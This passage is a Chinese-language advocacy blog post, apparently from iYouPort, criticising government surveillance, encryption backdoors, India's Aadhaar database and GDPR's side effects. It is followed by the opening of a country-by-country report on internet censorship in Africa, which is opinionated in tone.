美国也一样。在“通信规范法”第 230 条中，美国一直存在取消“安全港”保护措施的压力。如果没有这项规定，那些在试图删除被禁内容时“犯错”的公司可能要承担严重责任，法案明显鼓励了这些公司加强审查，而不是保护合法的表达。

「图」

「图」

Technicians collect biometric data from a girl as part of the Aadhar Card program in New Delhi, India. In 2018, researchers discovered a number of breaches in the national Aadhar database.

当局要求控制每个人的隐私数据

互联网在很大程度上是没有国界的。但是，随着政府认识到数据流入和流出本国的重要性，它们正在以“国家主权”的名义建立新的规则和障碍，允许官员随意控制和检查这些信息。自 2017 年6月以来，65个国家中有18个国家的政府通过了新的法律或指令来增加本国监管，往往会避免公民独立监督，并使个人面临被迫害的危险。

- 延伸阅读：看到媒体们对苹果公司在中国的所作所为轻描淡写时你应该感到悲伤。Apple 使用基于硬件的 DRM 来阻止中国用户安装 VPN 和 E2E 消息应用程序，这是能帮人们避免普遍审查和监视的几乎唯一办法。苹果将 iCloud 数据转移到一家中国控股的合资企业，再把密钥交给政府。

越来越多的国家要求科技公司将其公民的数据存储在本地服务器上，其目的是要求国家安全机构更容易获取记录。中国，俄罗斯，越南，尼日利亚和巴基斯坦等国都已经制定了数据本地化的要求。印度社会是世界上仅次于中国的第二大互联网用户群，该国政府也提出了类似的规则。虽然在 2017 年8月该国最高法院裁定印度人拥有隐私权的基本权利、并宣称取得了互联网自由的重大胜利，但基本没有实际意义。

印度当局已被证明是强大的老大哥。2018 年，研究人员在印度的国家生物识别系统—名为Aadhar 的数据库—中发现了严重漏洞，使11亿人的数据容易受到身份窃贼和其他恶意行为者的攻击。自由之家认为，该丑闻表明迫切需要改革国家的数据保护框架，而不仅仅是要求将数据存储在本地。但 **IYP** 想问的是：为什么允许政府收集所有公民的生物识别数据？

- 延伸阅读：⚠来自印度的一组AI研究人员开发了一种工具，用于根据身高衣服颜色和性别搜索监控录像中的人物。想想看，如果能够提高准确度到超出人类能力的范围，那将意味着什么？
- 印度企业集团 Reliance 已向媒体集团提交了数十亿美元的诽谤诉讼，只因媒体揭露了该集团与政府的军火交易；
- 印度第四大城市海得拉巴正在铺设更多的监视摄像头在大街小巷，这是来自当地政府的要求，预计未来几年内将有超过10万台闭路电视摄像机安装在整个城市。几年前每个月都有超过一百万个监控设备出售，现在这个数字是两百万。印度的监视技术市场每年增长20–25%；
- 在过去的九年中，印度通过收集近13亿人的指纹，虹膜扫描和照片，建立了世界上最大的生物识别数据库。⚠ 对于像微软，亚马逊和 Facebook 这样的美国科技公司来说，这个名

为 #Aadhaar 的项目可能是一个金矿（Aadhaar 印地语中的意思是“证据”）中国的“智能城市”计划也一样；
- 印度政府一再捍卫的这个生物识别数据库 #Aadhaar，只是一个纯粹的大规模监视工具。5亿人受到无限制的大规模监视，随着印度估计有13亿人口上网，这一数字正在迅速增加；

「图」

「图」

老大哥们对加密的恐惧

以美国为首的民主国家在破坏隐私权方面的行动尤其令人印象深刻。

所谓五眼情报联盟的政府部长—澳大利亚，加拿大，新西兰，英国和美国—发布声明，要求公司“自愿”为加密应用提供后门。尤其是澳大利亚，最新的监监视法案草案含有模糊的语言，要求公司在其加密技术中建立“后门”。这样的政策将非常有效地在公司的服务中制造安全漏洞，驱逐用户、并促进入侵。

「图」

「图」

澳大利亚正在通过其灾难性的法案。9月10日，政府关闭了关于其反加密和亲监视“法案的反馈意见的窗口。民主事务大臣在一周多的时间内发表了超过 15,000 条评论，并向众议院提交了一份基本不变的法案。

该法案草案令澳大利亚政府可以要求网络开发人员提供间谍软件、推动恶意更新，所有这些都是在“国家安全”的掩护下！违抗者将面临五年的监禁！并且，该法案严格的保密条款意味着任何受政府命令伤害的最终用户可能永远不会都知道这一点，从而妨碍了他们在法庭上捍卫其隐私权的能力。

澳大利亚总理大言不惭地称“数学法则不适用于澳大利亚”。他说，“澳大利亚法在澳大利亚流行，数学之法当然可圈可点，但唯一适用于澳大利亚的法律是澳大利亚法”。

- 延伸阅读：《"棱镜文件完整版"》
- 《"俄罗斯正模仿美国棱镜计划建立大规模监视系统——Wikileaks 披露（中文版）⏳"》

- 最可怕的并不是死亡。而是即便你放弃优越的生活、甚至舍弃生命安全去选择捍卫正义，结果却是因不被理解，而难以达成改变现实的目的。曾经有中国的“勇敢者”说出这样的话，“我不怕危险，怕的是社会的麻木让我不值得冒险”。但这是真的吗？《"调查数据：斯诺登改变了多少？终结老大哥有多难？"》
- 《"Snowden 启示五周年：我们离自由还有多远？"》

法国，德国，匈牙利和英国政府也大大加强了其情报部门的监视权力，严重削弱了旨在保护公民基本权利的重要司法监督。意大利于 2017 年11月通过了一项法律，要求电信运营商存储长达六年的电话和互联网数据，尽管 2014 年欧盟法院已经裁定此类规则构成对隐私的不成比例的侵犯，显然法院一点用都没有。

世界各地都有隐私政策更新，但真的有用吗？

许多国家正在颁布立法，授予个人控制公共和私人实体收集、处理和共享数据的权利。自 2017 年 6 月以来，至少有 15 个国家考虑了数据保护法，至少有 35 个国家已经制定了相关法律。

在阿根廷、巴西和印度尼西亚提出或通过的数据保护法与 2018 年5月生效的欧盟通用数据保护条例（GDPR）非常相似。

GDPR 要求数据持有者获得更有意义的“同意”，提高收集数据的透明度和原因，并为用户提供下载，传输或删除其信息的方法。但是，

- 延伸阅读：《为什么说欧洲新法规反而会加强 Facebook 和 Google 的霸权？》
- 《从跟踪脚本数量看 Google 是 #GDPR 的最大受益人》
- 《意想不到的后果：#GDPR 反而破坏了隐私》

在美国，首先，加州于今年 6 月通过了主要的隐私法规；然后，在9月底，特朗普政府又公布了单一国家隐私标准的官方原则；众议院民主党本月早些时候预览了他们自己的互联网“权利法案”。

简而言之，全面的隐私法规可能会进入美国。鉴于如今我们的隐私权所面对的悲惨现实，理论上这应该是值得欢迎的消息。但是，任何新的监管数据规范都存在严重漏洞。这些法规甚至有可能适得其反——例如，它们巩固了已经占主导地位的大型技术公司的地位、或者未能帮助消费者实际控制我们自己产生的数据（这可是任何新法规原本应有的主要目标啊）。

Ozar 在加利福尼亚州经营一家小型技术咨询公司，为名为 Microsoft SQL Server 的数据库管理系统提供培训和故障排除服务。Ozar 的公司拥有一支由四人组成的团队，而且拥有一个小型的国际客户群。直到 5 月份欧洲监管机构开始执行名为“ 通用数据保护条例” （ GDPR ）的隐私法，该法案可以对违规的公司收取高达全球收入 4% 的罚款。

在 GDPR 开始实施的几个月前，Ozar 宣布，用他的话说，迫使他的公司“停止向欧洲出售产品。” Ozar 写道，作为消费者，他喜欢这些规定; 但作为一个企业，他根本承担不起合规成本或错误风险。

这可不是 Ozar 一个人的做法。更大的国际组织，如 洛杉矶时报 和 芝加哥论坛报—以及超过 1,000 个其他新闻媒体—全部都是仅仅阻止了任何使用欧洲 IP 地址访问其网站的用户，而不是面对 GDPR 存在的主旨。

这便令试图保护公民的法规形同虚设了。公民所面对的危险并没有去除。

那么我们如何才能将这些危险降到最低？

首先，随着监管机构越来越认真地制定新的隐私法，他们将倾向于实施通用的、基础广泛的法规，而不是在法律中规定具体的处方。即使在快速发展的技术世界中，编写一般规则也总是比更明确的建议更容易，但这些立法者应尽可能避免这种诱惑。

无差别对待所有组织的过于宽泛的法规最终可能会鼓励“数据垄断”—— 只有少数公司可以利用我们的所有数据。有些组织将拥有充分的资源来遵守复杂且高度模糊的法律; 而其他人（如Ozar 和那些媒体平台等）则没有这样的资源。

这意味着数据的监管负担应该分层，以便有差异的组织的合规成本符合其自身条件。加利福尼亚州的“消费者隐私法”通过选择特定的业务部门（如 许多小型组织）直接面对这一问题。并且，任何新法规的合规成本都不应该给世界上已经占主导地位的科技公司带来额外的好处。

其次，相关地，一些组织越来越多地负责我们的绝大部分数据，这对我们的隐私和技术创新都构成了巨大的危险。所以，任何新的隐私法规都必须积极地激励较小的组织共享或汇集数据，以便他们能够与更大的数据驱动型组织相竞争。

解决此问题的一种可能方案是鼓励使用隐私增强技术或 PET，例如差异隐私、同态加密、联合学习（分布式机器学习）等。长期以来，私人倡导者所提倡的 PET 有助于平衡数据效用与其隐私和安全性之间的权衡。

最后，“用户同意”（用户主动同意在特定时间点收集数据的想法）不再能够在保护我们的隐私方面发挥核心作用。这一直是主要隐私框架的关键方面（想想你点击进入网站的所有“我接受”按钮）。但是在大数据和机器学习的时代，我们根本无法知道我们在点击“接受”时所放弃的个人权利的真正价值。

机器学习的全部价值在于它能够大规模地检测模式。在任何特定时间，放弃少量数据的隐私成本都很低; 然而，随着时间的推移，成本会变得巨大。一个著名的被反复引用的例子就是，一个青少年在她的家人知道她怀孕之前互联网就知道了，仅仅基于她的购物习惯，这只是很多这样的例子之一。

因此，我们无法假设我们完全了解在任何单一时间点放弃的隐私究竟意味着什么。消费者必须能够做到在数据收集后很长时间内对其数据行使权利，这些权利应包括限制数据的使用方式。

除非我们的法律能够正确地适应新的数字技术—除非他们能够在合规负担的成本与他们寻求维护的隐私权价值之间取得平衡—否则，我们会冒一些非常现实的风险。我们都可以很容易地实施新的法律，而这些法律不能保护我们的隐私，同时也会阻碍新技术的使用。公民有权要求立法者规避上述问题。

中国目前还没有隐私保护法案，我们需要争取将来能有，于是上述问题对中国公民来说非常重要：关于如何在最大程度上避免被立法者欺骗。

「图」

「图」

任何真正的数据保护系统都应该赋予个人控制自己信息的权力，同时确保互联网无国界

政府、私营公司和研究人员越来越渴望获取大量的个人信息，将其用于从政治压制、选举操纵、社交工程网络钓鱼、恶意监视软件、到人工智能算法开发的各种各样的目的。然而，个人通常没有多少选择来

抵制这种窒息的压迫。

政府和技术公司不应强迫用户做出如此明确的选择，而应努力提高个人数据使用方式的透明度，实现平台之间的数据可移植性，并允许人们审查和删除所收集的有关他们的所有数据。

- 延伸阅读：《"政府的压力将透明度报告从言论自由的庆典变成了审查的庆典"》

在爱沙尼亚可以找到一个创新的国家模式，该国与冰岛在本次调查中获得了最佳互联网自由分数。其用于安全数据共享的 X-Road 平台运行在称为 KSI 的爱沙尼亚区块链技术上，通过该技术对所有传入和传出进行身份验证和加密。

除了正在进行的调查之外，当政府机构访问公民的数据文件时，公民会得到通知。鉴于爱沙尼亚强大的隐私权法律框架，该系统提供了更大的保护。

2018 年，爱沙尼亚宣布计划将 X-Road 平台扩展到境外。这一步骤源于对开放社会和国际科技公司需要确保在刚性国家框架之外保护数据的基本认识。任何真正的数据保护系统都应该赋予个人控制自己个人信息的权力，同时确保互联网保持无国界。

——建议——

其实很简单。IYP 支持 Purism 首席执行官 Todd Weaver 的五个基本原则：

- 变更服务提供者的权利：如果一个人想要更换服务提供者，他们可以轻松地转移到另一个服务（分散化服务）；
- 保护个人数据的权利：一个人拥有并控制自己的主密钥来加密所有数据和通信，没有任何其他人可以控制（用户控制的加密）；
- 验证权：社会可以自由检查所有使用的软件的来源，并可以出于任何目的按照自己的意愿运行它（软件自由）；
- 被遗忘权：服务提供商仅存储提供服务所需的最少个人数据。一旦不再需要数据，就会删除它（最小数据保留）；
- 访问权：在访问服务之前，任何人不得被歧视或被迫同意任何条款和条件（个人自由）。

为了保护您自己的安全和隐私，您就需要自由和控制。如果没有自

由，安全和隐私就需要对供应商的充分信任。然而，供应商并不总是将您的最大利益放在心上; 事实上，在许多情况下，供应商都有财务激励来侵犯您的利益，特别是在涉及隐私方面。问题是，使用专有软件很难拿到供应商值不值得信任的证据。

使用自由软件产品，您可以控制自己的信任；您还可以验证您的自由软件供应商是否值得信赖。通过可重现的构建，您可以下载源代码并自行验证。

最终，自由将导致更强的安全性和隐私性。这三个概念不仅相互关联，而且相互依存。随着您增加自由度，您可以提高安全性和隐私性，当降低自由度时，安全性和隐私就会被置于风险之中。

- ○ IYP 对本报告「包括所有延伸阅读！」面向读者征集读后感，不论您是有更好的见解、更多的资讯补充、还是有更高效的针对性解决方案，都可以投递 —— 不超过**800**字。我们会将所有回复单独成篇，发布在我们的博客上。投递邮箱："iyouport_2@protonmail.com"，标题：读后感；格式：明文，请在文末注明您希望我们发布时使用的昵称/化名。限时：**10**天内。期待您的高见！**

原文

数字焚书和网络维稳：149个国家/地区的互联网监视审查地图 - iyouport

政府的间谍行为长读

【2020年9月16日存档】这里是全球149个国家的网络监视和审查报告。透露着也许是惊人的压抑 …… 但可以肯定的是，反抗从未停止。

您可能会认为互联网是最大的免费知识来源，从某些方面来说，您是对的。不过，您正在浏览的互联网至少有一部分受到了审查。并且，存在侵入性监视，当您说出自己的想法时可能会导致严重后果。

Cloudwards 的这份报告旨在向您介绍世界各地的在线审查和网络监视状态。

审查和监测的数量之多令人惊讶，在大多数国家均存在。互联网服务提供商控制着您可以看到什么或看不到什么，政府让他们阻止任何内容，如果他们不合作，往往会造成严重后果。

- 另一份报告《至少30亿社交媒体用户都在受到其政府的监视》

在具有集中化系统的国家中，政府甚至可以完全关闭互联网，以阻止抗议活动。

在下面回顾给行动者推荐的在断网后工作技巧的建议：

- 《断网后如何进行文件共享和通信？：如何应对断网（1）》
- 《如何搞定您的手机以便能让它应付断网状态？：如何应对断网（2）》
- 《我应该使用这个应用程序保存真相吗？：如何应对断网（3）》
- 《没有互联网的情况下如何验证视觉信息的真伪：如何应对断网（4）》
- 《如何在没有互联网或计算机的情况下备份手机中的媒体文档？：如何应对断网（5）》

本报告汇总了详细的国家/地区信息，解释了施加的限制及其严重程度。并考虑了某些标准，例如在线监视和网络访问不平等、以及言论自由、社交媒体、VPN的使用、和对洪流的限制。

- 报告《有多少国家禁止或限制使用 VPN？—— 全球互联网审查分布图：VPN 在你的国家合法吗？》

监视

「图」

在线监控很盛行，但是许多人已经对此习以为常或根本不在乎。

您可能已经从 “开源情报” 栏目中了解到了这点，包括社交媒体、博客、浏览历史记录，在线通信，例如电子邮件、呼叫和消息传递，都可以被监视，并且监视者经常收集和存储敏感的用户数据，并保存很久。

有证据表明，全世界的政府和主管部门大多都已经在监视软件上花费了数百万美元，例如 **FinFisher**，该间谍软件使政府能够监视任何人的设备、跟踪位置、并拦截数据，即使该数据已被加密，同样可以做到监视。其他证据表明与提供间谍软件的公司进行交易，例如 **Hacking Team**。

- 在这里看到 关于Hacking Team
- 在这里看到 关于 FinFisher《铁幕之下：全球反抗者如何对战监视者？》

最著名的揭露是举报人爱德华·斯诺登（Edward Snowden）的发现，在下面看到完整报告。

- 《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》

一些国家之间已经形成密切的情报共享网络，比如众所周知的**5**、**9**、**14**眼。

但是，很多秘密的情报共享并没有被曝光。比如下面这个最近报告的秘密，它被隐藏了近**50**年：

- 《没有美国的五眼联盟，被保密了近50年，今天依然活跃》

尤其是，推荐下面这份报告：

这份报告在这里下载：https://t.me/iyouport/7269

此外以下报告中多次提到“通讯拦截技术系统**SORM**”，在这里看到对该监视技术的介绍：《俄罗斯正模仿美国棱镜计划建立大规模监视系统—— Wikileaks 披露（中文版）》。

互联网访问权不平等

「图」

网络访问权不平等与网络中立性相反，网络中立性是ISP平等对待所有服务和网站的原则。许多国家不支持网络中立性，这会导致歧视和对某些内容提供商和服务的不公平收费。

ISP可能会减慢或阻止某些应用程序、网页和服务。没有网络中立性的国家对ISP来说非常有用，因为它们可以从让消费者订阅特殊计划中获得更多收益。

同样，通过将其放置在付费专区之外，它也可能导致ISP “隐藏” 他们不喜欢的站点。

欧盟国家的网络中立性

「图」

2016年，欧盟实施了2015/2120 法规，将网络中立性原则纳入了欧盟法律。互联网流量必须受到同等的对待，欧盟国家/地区的ISP不得限制、阻止或歧视内容、应用程序或服务。

言论自由限制

「图」

言论自由是表达您的意见而不受审查、阻止或惩罚的权利，但是在某些地方的言论自由比其他地方受到了更严重的扼杀。

在某些地方，这些限制背后有某些理由，例如政府有义务禁止所谓的仇恨言论，尤其是针对种族和宗教团体的言论。

但是，规则很可能会被滥用。见下面的分析。

- 《封锁言论就能制止仇恨吗？不》

虽然宪法使言论自由受到保护，但是，通常还有其他法律与之相抵触。用户帖子被删除，人们最终因看似无辜的评论而判入狱。记者常常出于害怕受到惩罚而实行自我检查，普通公民也一样。

- “审查和自我审查” 栏目中包含了很多具体的报告和分析

社交媒体限制

「图」

您可能习惯于浏览社交媒体应用程序上的最新帖子和评论，但是在某些国家/地区中会禁止其中的许多帖子和评论。原因不尽相同，包括掩盖不适当的材料、试图阻止抗议活动和其他公共示威活动的组织，等等。

出于相同的原因，诸如 WhatsApp 和 Viber 之类的消息传递应用程序也经常被阻止。

众所周知，数字活动家和恐怖组织都会使用加密应用程序与成员进行秘密通信，而反加密战争最严重的受害者是那些追求正义的公民活动家。

此外，在选举前很多国家都在阻止互联网访问，以限制可能影响投票的信息。

VPN禁令

「图」

为了控制信息，许多国家已经限制或禁止了 VPN。

有多种方法可以执行此操作，例如，阻止从其他国家/地区访问的IP地址，通过标识VPN协议来阻止VPN服务器，或阻止那些协议所使用的端口。一些国家只是简单地阻止对特定VPN服务的访问。

有些国家/地区没有阻止VPN，但是它们的立法仅允许使用在政府注册的VPN服务，否则被列为违法。而注册就意味着政府很可能拥有访

问日志的权力。

多个国家会对公民的移动设备进行抽查，以查看是否安装了绕避阻塞技术；如果发现，可能会受到严厉的处罚。

以下是详细报告。

请注意，仅仅因为法律和限制可能与您居住的国家无关，并不意味着您应该忽略它们。至少，如果您旅行，那就会受这些规定的约束。

—— 非洲 ——

「图」

迄今为止，非洲是最贫穷的大陆，只有少数几个国家的大多数人口能够使用互联网。

但是，这并不意味着没有监视，许多专制政权都希望确保即使只有一小部分人口在网上也必须知道人民都在做什么。

阿尔及利亚

阿尔及利亚人可以访问网站和社交媒体，但是一些被认为与恐怖主义有关的政治网站和内容被阻止。

2016年，全国考试的答案在社交媒体上泄露。学生不得不重做考试，并且政府封锁了所有社交媒体，声称防止作弊。

网络犯罪法允许其封锁被认为“扰乱公共秩序”的任何网站或新闻。

言论自由在其宪法中得到承认，但是，在实践中经常受到侵犯。对政府的批评是刑事犯罪，政府要求ISP监视包括社交媒体在内的一切在线内容。

许多记者，社交媒体用户和博客作者因其发布的帖子而受到惩罚。

自2008年以来，网吧被要求收集顾客的姓名和身份证号并将其与任何可疑活动一起报告给警方。

2008年的一项网络犯罪法案将某些在线活动定为犯罪，其中包括侵犯版权。但是 VPN 可以合法使用。

贝宁

尽管没有关于政府阻止互联网上某些内容的报道，但是有一些在线服务受到限制。实际上，该国的互联网在2019年大选期间被直接关闭了。

WhatsApp、Twitter、Facebook、Telegram 和 Instagram 等应用程序均已被阻止。

另外，虽然使用 VPN 合法，但曾经限制 TunnelBear，PureVPN 和 Hola 等服务。目前已经解禁。

该国存在监视（例如窃听），并且必须实名注册SIM卡，但没有更多关于进行在线监视的报告。

贝宁的宪法承诺保障言论自由，并且受到大多数人的尊重。理论上似乎公民可以毫无恐惧地讨论政治和其他主题。但是，诽谤是刑事犯罪，可以处以罚款。也就是说只要被指为“诽谤”，就可以随意阻止媒体发表批评总统的文章。

博茨瓦纳

博茨瓦纳没有关于互联网审查的报道，有关在线监视的信息很少。但是该国已经提出了立法，允许维稳部门使用合法侦听、甚至黑客入侵的工具。

⚠ 以色列工程师、黑客和研究人员被邀请来帮助建立大规模监视综合体。

对《网络犯罪和与计算机有关的犯罪法》的拟议修正案将允许政府在社交媒体上加强对所谓的虚假新闻和诽谤的监控。

言论自由在宪法上得到保障并得到普遍尊重，但是，在实践中存在限制。许多媒体都是国有的，并且支持执政党。异议记者受到政府的威吓和骚扰。

布基纳法索

布基纳法索只有4%的人口拥有互联网，但是仍然存在限制。

当局监控网站和论坛，以确保它们“符合法规”。2012年，一个网站收到警告，因为用户“侮辱了总统”。

布基纳法索的宪法和1993年的《信息法》声称保障言论自由，但实际上受到限制。尽管公民可以进行私人讨论，但激进的伊斯兰团体已对网上活动进行攻击和恐吓。这使人们不愿谈论政治和其他敏感话题。

记者可以报道关于政府的信息，而且诽谤罪已被取消合法化。话虽如此，人们仍然会因诽谤而被定罪，而记者也面临着来自政府官员的压力。

有一些法律允许线下监视和监视私人通信，尚不清楚是否包括在线交流。

布隆迪

布隆迪只有5%的公民能使用互联网，但是互联网依然受到限制。在选举期间，当局阻止社交媒体 例如 Facebook、WhatsApp、Viber 和 Twitter，以打击示威活动。

尽管没有太多证据表明当局进行了在线监视，但是，法律允许政府在很少受到司法监督的情况下监视公民及其所有通讯。

布隆迪的宪法保障言论自由，但是，实际上这种自由受到限制。调查记者因其工作而受到威胁、骚扰和逮捕。所谓的媒体法允许当局对媒体记者处以罚款，许多记者逃离了该国。

喀麦隆

互联网访问和社交媒体平台在喀麦隆曾多次遭到破坏。

在选举活动中和在该国的抗议活动中互联网大多被封锁。ISP在选举期间也减慢了对诸如 WhatsApp 之类的服务的访问。

言论并非自由，批评政府的公民或反对党成员可能会发现自己的言论已经对就业机会产生了负面影响。

由于害怕受到报复，自我审查非常常见。根据法律，传播所谓的虚假信息将受到最高20年的监禁。

- 在这里看到，全球国家如何利用所谓的 “虚假信息” 借口打击言论自由《逮捕、追踪和惩罚，全球”反谣言”行动地图》

诽谤是刑事犯罪。调查记者在报道敏感话题时会面临压力和惩罚。例如，政府遏制了“ Ambazonia战争”的报道，在这场战争中，分裂主义

者为争取独立而斗争。国家通讯委员会经常骚扰记者。

邮电部长 Minette Libom Li Likeng 透露，喀麦隆政府设有专门负责监视该国互联网用户活动的机构。市民的计算机和通讯以及社交网络和网站都被监视着。他称，这样做是为了“跟踪威胁内部安全的活动”。简称“维稳”。

中非共和国

中非共和国动荡不安，事实上是独裁政权。它是世界上最贫穷的国家之一，只有5%的人口可以使用互联网。

没有在线监视的报告，但是，某些服务存在暂时性的限制。例如，在首都发生暴力示威之后，短信服务于2014年被暂停使用，目的是维稳。

人们通常可以讨论政治问题。但是，发表意见和讨论敏感话题可能会导致暴力报复。记者也可能因其报道而受到惩罚，并处以严重的诽谤罚款。

一家周报的编辑在宣布两名部长非法收取了70亿中非金融合作法郎（1600万美元）的佣金后，被控以“煽动叛乱、虐待和诽谤”罪。

乍得

乍得的互联网普及率很低，但在政治示威之后政府将互联网关闭。

自2018年3月以来，社交媒体已被封锁，因为许多乍得人正在使用社交媒体来组织抗议活动。

乍得的宪法规定了言论自由，但是，实际上并没有得到维护。批评政府的记者遭到威胁和诽谤指控，其中一些人受到监视。批评总统后，一名专栏作家被拘留并被迫道歉。

由于这种威胁，许多人实行自我审查。

科特迪瓦

关于科特迪瓦互联网实行的检查制度的信息很少。电信监管局曾经宣布打算封锁反 Koudou Laurent Gbagbo 的网站，但那是在2011年。

前总统巴博（Gbagbo）在输掉总统大选并组织暴力运动后因危害人

类罪被监禁。暴力的受害者被殴打、折磨和杀害。

没有在线监视的报告。

言论自由受到宪法和其他法律的保护，人们通常可以进行敏感的政治讨论，而不必担心。但是，被认为“煽动暴力、仇恨或叛乱言论”的人将被处以罚款。侮辱总统是犯罪。当局可以起诉记者诽谤，并可以中止媒体报道。

刚果民主共和国

刚果民主共和国政府多次限制互联网访问。在2018年计划抗议之前，互联网被封锁，2019年大选后，短信服务也被封锁。

社交媒体使用情况表明，除 **Facebook** 外，所有平台都被封锁。

言论自由在宪法上得到了保障，尽管公民可以讨论敏感话题，但是，有些人会因为在公共场合发表批评性言论而遭到报复。

新闻自由受到限制，记者面临政治骚扰、威胁、逮捕、人身攻击和诽谤诉讼。据报道，2017年至2018年期间，有**100**多起针对记者的袭击事件。

吉布提

尽管吉布提是东非最重要的数据中心之一，但吉布提只有18%的居民能够使用互联网。

互联网上的限制很少，但是，吉布提尊重人权协会和反对派广播电台 La Voix de Djibouti 的网站被封锁。批评政府的网站也很有可能被封锁。

没有在线监视的报告。

言论自由在吉布提宪法中得到保护，但是，实际上并没有得到保障。

限制性法律（例如诽谤罪）限制了讨论任何敏感问题或政治问题的可能性。

对政府的批评可以以惩罚结束，政府为此持续监视着社交媒体。评论家和其他反对声音被拘留和判罪。

主要媒体都是政府所有的。根据通讯自由法和刑法，“诽谤和散布虚假信息”属于刑事犯罪。记者实行自我审查制度，避免产生反响。

埃及

埃及宪法保障言论自由，但是，许多人因在线发帖而被罚款和监禁。

在当前的紧急状态下，主管部门可以任意监视和关闭网站，以及监视和审查任何在线通信，而无需司法监督。

包含新闻、人权、恐怖主义和政治等相关内容的网站不断被封锁。社交媒体应用程序也可以被当局关闭。

该国网络是集中式的，并且可以通过降低速度或暂停接入而全面控制。存在网络访问权不平等的情况，服务提供商提供特殊限制性服务。

某些VPN网站被封锁，某些协议被禁止，阻碍了那些想要访问受限内容的人。

尽管允许洪流，但是，所谓的反网络犯罪法对数字盗版行为进行了严厉惩罚。访问版权内容的人将被处以 10,000–50,000 埃及镑（$ 600-$ 3,000）的罚款，以及至少三个月的徒刑。

赤道几内亚

尽管言论自由和新闻自由得到法律保障，但是，赤道几内亚经常被称为世界上受审查最多的国家之一。公民可以在互联网上访问的信息受到严格限制，关键网站通常被阻止。在选举期间，Facebook 和反对派网站也被封锁。

公民可以私下讨论的内容很有限。政府监视和政府线人被用来监视反对派成员、记者以及政府认为不利政权稳固的其他任何人和组织。批评政府的人面临被逮捕和虐待。

尽管受到宪法保护，但政府控制着媒体并限制其可以发表/播放的内容。记者出于害怕报复而实行自我审查。

厄立特里亚

在残酷的独裁统治下，厄立特里亚是世界上受到审查最多的国家之一。

可以通过多个ISP来访问互联网，但是，人们必须通过带宽有限的政府控制的网关，这导致连接缓慢且不可靠。还有通过手机无法上网。大多数厄立特里亚人通过网吧访问互联网。

大多数内容都可以使用，但是，色情网站和批评政府的网站均被阻止。

由于带宽方面的考虑，YouTube 被某些ISP 间歇性地阻止，并且连接速度太慢，无法容纳种子。

当局监视一切在线交流，网吧受到密切关注。

言论自由受到限制，因为人们担心会因持不同政见而受到惩罚。对政府政权的批评可能会导致入狱。

自从2001年政府关闭独立媒体以来，只有国有的新闻媒体在运作。记者被拘留，通常没有任何指控，仍然工作中的人们时刻担心被捕。

埃塞俄比亚

埃塞俄比亚的互联网受到高度审查，之后前总理 Hailemariam Desalegn 在2018年2月辞职。许多网站被封锁，例如媒体渠道以及与人权或 LGBT 主题相关的网站。

过去也禁止使用 Tor 和 Psiphon 等规避工具。

社交媒体平台经常被封锁，有时互联网也被完全封锁。原因从令人窒息的扼杀批评到反对抗议活动不一而足。

批评政府的任何人都会受到惩罚。许多记者和博客作者因被指控 “诽谤或被指控煽动恐怖主义” 而被起诉入狱。埃塞俄比亚的压制性法律仍然存在。

自阿比·艾哈迈德总理宣誓就职以来，互联网自由得到了一些提高。自我审查减少了，许多被阻止的内容都可以使用了，大多数因异议而入狱的人被释放。

但是，在线监控无处不在，其庞大的监视基础设施仍然存在，其中一些与中国政府有联系。

- 在这里看到，关于中国的监视技术帮助了哪些国家：列表- 4 “作恶者 中国在帮谁”

所谓的“计算机犯罪公告”还允许实时监视和拦截通信。政府是否仍在进行大规模的监视尚不得而知。

加蓬

加蓬的互联网受到了很多次限制，在2016年选举后被完全封锁。

一旦恢复原状，当局便实行了宵禁，每天晚上6点至凌晨6点之间封锁。社交媒体平台，如 Twitter、Facebook 和 WhatsApp，全天都被封锁。

经过一次军事政变，互联网于2019年1月再次被关闭。虽然社会媒体是可用的。

加蓬的宪法规定言论自由，但是，在实践中受到限制。个人受到限制性法律以及被监视或拘留的威胁。记者进行自我审查，以避免因重要报道受到惩罚。通讯高级管理局封锁了报道政府腐败行为的所有网点。

冈比亚

在2016年 Adama Barrow 总统上台之前，包括新闻和重要网站在内的20多个网站被封锁。很多在线通讯渠道和社交媒体平台也被封锁。在2016年大选之前，互联网也被关闭。

在 Barrow 领导下，互联网自由得到了一些改善，自我审查制度也有所减少。现在，所有被阻止的网站和应用程序都可以访问，并且没有有关内容审查的报告。

但是版权审查强制执行处于活动状态。一个版权法于2004年颁布打击非法使用，复制和内容分发。数字时代提出了新的挑战，但在2018年6月，两名男子因侵犯版权而受到起诉，冈比亚警察接受了执行版权法的培训。

在线监视仍然是一个问题。前政府已经建立了法律框架和监视技术，但是其真正能力以及新政府是否使用它，尚不清楚。

另外，《信息和通讯法》赋予当局更大的权力，可以在没有司法监督的情况下进行监视和截取通讯。

冈比亚宪法保障言论自由，但是，前总统无视这些权利。所谓的诽谤指控以前一直被用来压制记者和评论家，但宪法法院裁定它违宪。互

联网用户现在正在发布具有更少自我审查的内容。

但这不是全部。

一项压制性的“虚假新闻法”，可判处最高15年徒刑并处以巨额罚款。记者经常因其报道而受到起诉，尽管有所改善，但仍有一些人被拉到法庭上、或面临暴力。

几内亚

尽管几内亚拥有丰富的采矿业，但其仍是西非最贫穷的国家之一。只有12%的人口能使用互联网。

互联网未经审查，但在2007年，几内亚成为非洲第一个正式关闭互联网的国家。目前没有在线监视的报告。

私人讨论通常是自由的，但是有些法律阻止人们表达自己的意见。所谓的“诽谤和侮辱公众人物”最高可判处五年监禁。这迫使记者进行自我审查。

另外，“网络安全法”将传播某些信息定为犯罪。

肯尼亚

肯尼亚的互联网大多未经审查，社交媒体可以自由使用。话虽如此，据说某些促进同性恋的内容已在网上和其他形式的媒体上受到限制。此外，违反该国所谓的仇恨言论和选举法的社交媒体内容也已删除。

修定的版权法案意味着，ISP管理者因未能删除其网络上发布的受版权保护内容而面临最高5年的监禁，因此种子网站可能会被阻止。

肯尼亚政府可以使用监视技术。《肯尼亚信息和通讯法》禁止非法监视和拦截通讯，但是，《预防恐怖主义法》在某些条件下允许当局侵犯隐私。这实际上给当局带来了便利。

肯尼亚的宪法保护言论自由，但是，博客作者、记者和用户受到威吓，可能因其在线活动而遭受暴力侵害。当局试图压制负面报道。

根据“国家凝聚力法案”，所谓的仇恨言论最高可处以100万肯尼亚先令（11000美元）的罚款、三年以下的监禁或两者并罚。

根据其他法律，被认为发布所谓的虚假信息、损害他人声誉或引起恐

慌，可能会导致长达10年的监禁。

莱索托

莱索托的互联网普及率在过去几年中有所提高，但仍然只有27%的人口能使用互联网。政府不会在网站上强加封锁或过滤内容。

